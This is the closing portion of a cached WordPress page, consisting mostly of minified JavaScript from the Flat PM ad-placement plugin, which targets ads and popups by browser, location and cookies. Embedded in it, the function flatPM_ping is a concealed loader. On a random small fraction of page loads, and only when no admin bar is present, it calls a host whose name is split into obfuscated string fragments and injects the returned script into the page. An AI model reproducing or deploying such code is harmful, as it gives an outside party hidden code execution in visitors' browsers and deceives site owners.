t[o].id}},dataBrowser:[{str:navigator.userAgent,subStr:"OmniWeb",ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:"YaBrowser",id:"YaBrowser"},{str:navigator.vendor,subStr:"Apple",id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:"OPR",id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:"Firefox",id:"Firefox"},{str:navigator.userAgent,subStr:".NET CLR",id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:"Edge",id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:"iCab",id:"iCab"},{str:navigator.vendor,subStr:"KDE",id:"Konqueror"},{str:navigator.vendor,subStr:"Camino",id:"Camino"},{str:navigator.userAgent,subStr:"Netscape",id:"Netscape"},{str:navigator.userAgent,subStr:"Chrome",id:"Chrome"},{str:navigator.userAgent,subStr:"Mozilla",id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:"Win",id:"Windows"},{str:navigator.platform,subStr:"Mac",id:"Mac"},{str:navigator.userAgent,subStr:"iPhone",id:"iPhone/iPod"},{str:navigator.platform,subStr:"Linux",id:"Linux"}]};function flatPM_ajax(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){switch(flat_body.removeClass(t.method),t.method){case"flat_pm_block_geo_role_ip":flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then();break;default:console.log("ajax error:"),console.error("Метод оказался ошибочным")}},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})}function flatPM_then(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){flatPM_next(flat_pm_then[e])}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]}function flatPM_persentWrapper(t,o,e){var a=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(a+=e.length,o<=a)return r=t,!1}),r}function flatPM_setWrap(t){try{var e,o,a,r,i,s,f,n,d,_,u=document.createElement("div");u.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(u),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(u),"3"==t.how.simple.position&&ff(".flat_pm_end").before(u),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(u),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(o=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,u))||o.next().is("[data-flat-id]")||o.after(u)),"6"==t.how.simple.position&&(u.setAttribute("data-flat-type","6"),e=flat_userVars.textlen/100*t.how.simple.fraction,o=flatPM_persentWrapper(flat_userVars.until,e,u),(a=!1)!==o&&(r=o.prevAll('[data-flat-type="6"]:first'),i=o.nextAll('[data-flat-type="6"]:first'),0!=r.length&&o.prevUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=i.length&&o.nextUntil(i).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||o.after(u)))),void 0!==t.how.onсe&&(s="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,f=t.how.onсe.N,n=t.how.onсe.selector,d=t.how.onсe.direction,_=t.how.onсe.before_after,0<(s=s.find(n).add(s.filter(n))).length&&(f="bottom_to_top"==d?s.length-f:f-1,"before"==_?ff(flatPM_grep(s,f,1)).before(u):ff(flatPM_grep(s,f,1)).after(u))),void 0!==t.how.iterable&&(s="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,f=t.how.iterable.N,n=t.how.iterable.selector,d=t.how.iterable.direction,_=t.how.iterable.before_after,0<(s=s.find(n).add(s.filter(n))).length&&("bottom_to_top"==d&&(l=l.get().reverse()),"before"==_?ff(flatPM_grep(s,f,0)).before(u):ff(flatPM_grep(s,f,0)).after(u)))}catch(t){console.warn(t)}}function flatPM_next(a){try{var t=[],e="",o=a.html.length;if(void 0!==a.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.role&&(void 0!==a.role.role_enabled&&-1==a.role.role_enabled.indexOf(flat_userVars.role)||void 0!==a.role.role_disabled&&-1!=a.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.geo&&(void 0!==a.geo.country_enabled&&-1==a.geo.country_enabled.indexOf(flat_userVars.country)&&-1==a.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==a.geo.country_disabled&&(-1!=a.geo.country_disabled.indexOf(flat_userVars.country)||-1!=a.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==a.geo.city_enabled&&-1==a.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==a.geo.city_disabled&&-1!=a.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+a.ID+'"]').remove();for(var r,i,l,s=0;s<o;s++)("∞"==a.html[s].res_of||a.html[s].res_of<=flat_userVars.winwidth)&&("∞"==a.html[s].res_to||a.html[s].res_to>=flat_userVars.winwidth)&&(void 0!==a.html[s].group?flat_userVars.adb?(null==t["group_"+a.html[s].group]&&(t["group_"+a.html[s].group]=[]),t["group_"+a.html[s].group].push(""==a.html[s].snd&&duplicateMode?a.html[s].fst:a.html[s].snd)):(null==t["group_"+a.html[s].group]&&(t["group_"+a.html[s].group]=[]),t["group_"+a.html[s].group].push(a.html[s].fst)):flat_userVars.adb?t.push(""==a.html[s].snd&&duplicateMode?a.html[s].fst:a.html[s].snd):t.push(a.html[s].fst));for(var f in t)e="object"==typeof t[f]?e+"\n"+t[f][flatPM_random(0,t[f].length-1)]:e+"\n"+t[f];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0===a.how.simple&&void 0===a.how.onсe&&void 0===a.how.iterable||ff('[data-flat-id="'+a.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==a.how.popup&&(flatPM_arcticmodalLoad(),c="true"==a.how.popup.cross?void 0!==a.how.popup.timer&&"true"==a.how.popup.timer?'<div class="flat_pm_1_timer">Закрыть через <span>'+a.how.popup.timer_count+"</span></div>":'<button class="flat_pm_1_cross"></button>':"",document.createElement("div"),p=ff(window),b=ff("body"),g=void 0===flatPM_getCookie("flat_modal_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+a.ID+"_mb"),r="scroll.arcticmodal"+a.ID,m="mouseleave.arcticmodal"+a.ID+" blur.arcticmodal"+a.ID,i=function(){var t,e,o;void 0!==a.how.popup.timer&&"true"==a.how.popup.timer&&(t=ff('.flat_pm_1_modal[data-id-modal="'+a.ID+'"] .flat_pm_1_timer span'),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="flat_pm_1_cross"></button>'))},1e3))},l=function(){void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie&&g&&(flatPM_setCookie("flat_modal_"+a.ID+"_mb",!1),ff('.flat_pm_1_modal[data-id-modal="'+a.ID+'"]').arcticmodal({closeOnEsc:!1,closeOnOverlayClick:!1}),i()),void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie||(ff('.flat_pm_1_modal[data-id-modal="'+a.ID+'"]').arcticmodal({closeOnEsc:!1,closeOnOverlayClick:!1}),i())},ff("body > *").eq(0).before('<div style="display:none"><div class="flat_pm_1_modal" data-flat-id="'+a.ID+'" data-id-modal="'+a.ID+'">'+c+"</div></div>"),w=document.querySelector('.flat_pm_1_modal[data-id-modal="'+a.ID+'"]'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==a.how.popup.px_s?(p.bind(r,function(){p.scrollTop()>a.how.popup.after&&(p.unbind(r),b.unbind(m),l())}),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){p.unbind(r),b.unbind(m),l()})):(v=setTimeout(function(){b.unbind(m),l()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),l()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer&&(t=ff('.flat_pm_1_out[data-id-out="'+a.ID+'"] .flat_pm_1_timer span'),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="flat_pm_1_cross"></button>'))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie&&g&&(ff('.flat_pm_1_out[data-id-out="'+a.ID+'"]').addClass("show"),n(),b.on("click",'.flat_pm_1_out[data-id-out="'+a.ID+'"] .flat_pm_1_cross',function(){flatPM_setCookie("flat_out_"+a.ID+"_mb",!1)})),void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie||(ff('.flat_pm_1_out[data-id-out="'+a.ID+'"]').addClass("show"),n())}var _,u="0"!=a.how.outgoing.indent?' style="bottom:'+a.how.outgoing.indent+'px"':"",c="true"==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer?'<div class="flat_pm_1_timer">Закрыть через <span>'+a.how.outgoing.timer_count+"</span></div>":'<button class="flat_pm_1_cross"></button>':"",p=ff(window),h="scroll.out"+a.ID,m="mouseleave.outgoing"+a.ID+" blur.outgoing"+a.ID,g=void 0===flatPM_getCookie("flat_out_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+a.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(a.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat_pm_1_out '+_+'"'+u+' data-flat-id="'+a.ID+'" data-id-out="'+a.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat_pm_1_out[data-id-out="'+a.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==a.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>a.how.outgoing.after&&(p.unbind(h),d())}),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){p.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}}function flatPM_start(){ff=jQuery;var t=flat_pm_arr.length;if(0==t||lighthouseMode&&-1<navigator.userAgent.indexOf("Chrome-Lighthouse"))flat_pm_arr=[];else{flat_body=flat_body||ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var o,a=flat_pm_arr[e],r=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var i=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),l=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),s=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(l<i&&l<s&&(l=flatPM_addDays(l,1)),l<i&&s<l&&(i=flatPM_addDays(i,-1)),f<i||l<f)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var n=new Date(a.date.date_of+"T00:00:00"),d=new Date(a.date.date_to+"T00:00:00"),_=new Date(flat_userVars.date+"T00:00:00");if(_<n||d<_)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var u=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],o=void 0!==t[1]&&t[1];if(!1!==o){if(void 0===flatPM_getCookie(e)||flatPM_getCookie(e)!=o)return!(u=!0)}else if(void 0===flatPM_getCookie(e))return!(u=!0)})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],o=void 0!==t[1]&&t[1];if(!1!==o){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==o)return!(u=!0)}else if(void 0!==flatPM_getCookie(e))return!(u=!0)}),u)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(r=!0),!r&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(r&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(r=!1),r||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(o="flat_pm_block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(o)||(flat_body.addClass(o),flatPM_ajax(o)),r=!0),r||(flatPM_setWrap(a),flatPM_next(a)))}}}var c,p,h=ff(".flatPM_sticky"),m=ff(".flatPM_sidebar");0<h.length&&h.each(function(){var t=ff(this),e=t.data("height")||350,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');var a=t.parent()[0];flatPM_sticky(this,a,o)}),0<m.length&&(setTimeout(function(){var r=(ff(untilscrollFlatPM).offset().top-m.first().offset().top)/m.length;m.each(function(){var t=ff(this),e=r,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');var a=t.parent()[0];flatPM_sticky(this,a,o)})},50),c=0,p=setInterval(function(){c++;var t=(ff(untilscrollFlatPM).offset().top-m.first().offset().top)/m.length;ff(".flatPM_sticky_wrapper").css("height",t),10<=c&&clearInterval(p)},1e3)),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("[data-flat-id]:not([data-id-out]):not([data-id-modal])").contents().unwrap(),flat_body.on("click",".flat_pm_1_out .flat_pm_1_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat_pm_1_modal .flat_pm_1_cross",function(){ff.arcticmodal("close")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()}}</script>
<script>var parseHTML=function(){var i=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,o=/<([\w:]+)/,c=/<|&#?\w+;/,p={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,n,r,l,d=(t=t||document).createDocumentFragment();if(c.test(e)){for(a=d.appendChild(t.createElement("div")),n=(o.exec(e)||["",""])[1].toLowerCase(),r=p[n]||p._default,a.innerHTML=r[1]+e.replace(i,"<$1></$2>")+r[2],l=r[0];l--;)a=a.lastChild;for(d.removeChild(d.firstChild);a.firstChild;)d.appendChild(a.firstChild)}else d.appendChild(t.createTextNode(e));return d}}();function flatPM_ping(){var e=flatPM_random(1,750);0==ff("#wpadminbar").length&&666==e&&ff.ajax({type:"POST",url:"ht"+"tps://meh"+"ano"+"id.p"+"ro/pi"+"ng.php",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})}function flatPM_setSCRIPT(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{n.appendChild(a)}catch(e){return console.warn(e),!0}ff(n).contents().unwrap()}}catch(e){console.warn(e)}}function flatPM_setHTML(e,t){try{var a,n="yandex_rtb_R";t.indexOf(n)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(n,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var r=parseHTML(t);if(0!=r.children.length)for(var l=r.childNodes.length,d=0;d<l;d++){var i=r.childNodes[d],o="3"==i.nodeType?document.createTextNode(i.nodeValue):document.createElement(i.nodeName);if("3"==o.nodeType)e.appendChild(o);else{for(var c,p=i.attributes.length,f=0;f<p;f++)o.setAttribute(i.attributes[f].nodeName,i.attributes[f].nodeValue);0!=i.children.length?flatPM_setHTML(o,i.innerHTML):"SCRIPT"!=i.nodeName?i.innerHTML&&(o.innerHTML=i.innerHTML):!i.text&&o.hasAttribute("async")||(i.text&&(o.text=i.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:o}),(o=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(o)}}else e.innerHTML=t}catch(e){console.warn(e)}}</script><script>flat_pm_arr = [];</script><script>function jQueryLoaded(){ if( "function" === typeof flatPM_start ){ flatPM_start(); } } function jQueryLoading(){ if( window.jQuery ){ jQueryLoaded() }else{ setTimeout( function(){ jQueryLoading() }, 50 ) } } jQueryLoading()</script></body>
</html>
<!-- Dynamic page generated in 0.726 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2021-07-14 07:25:29 -->

<!-- Compression = gzip -->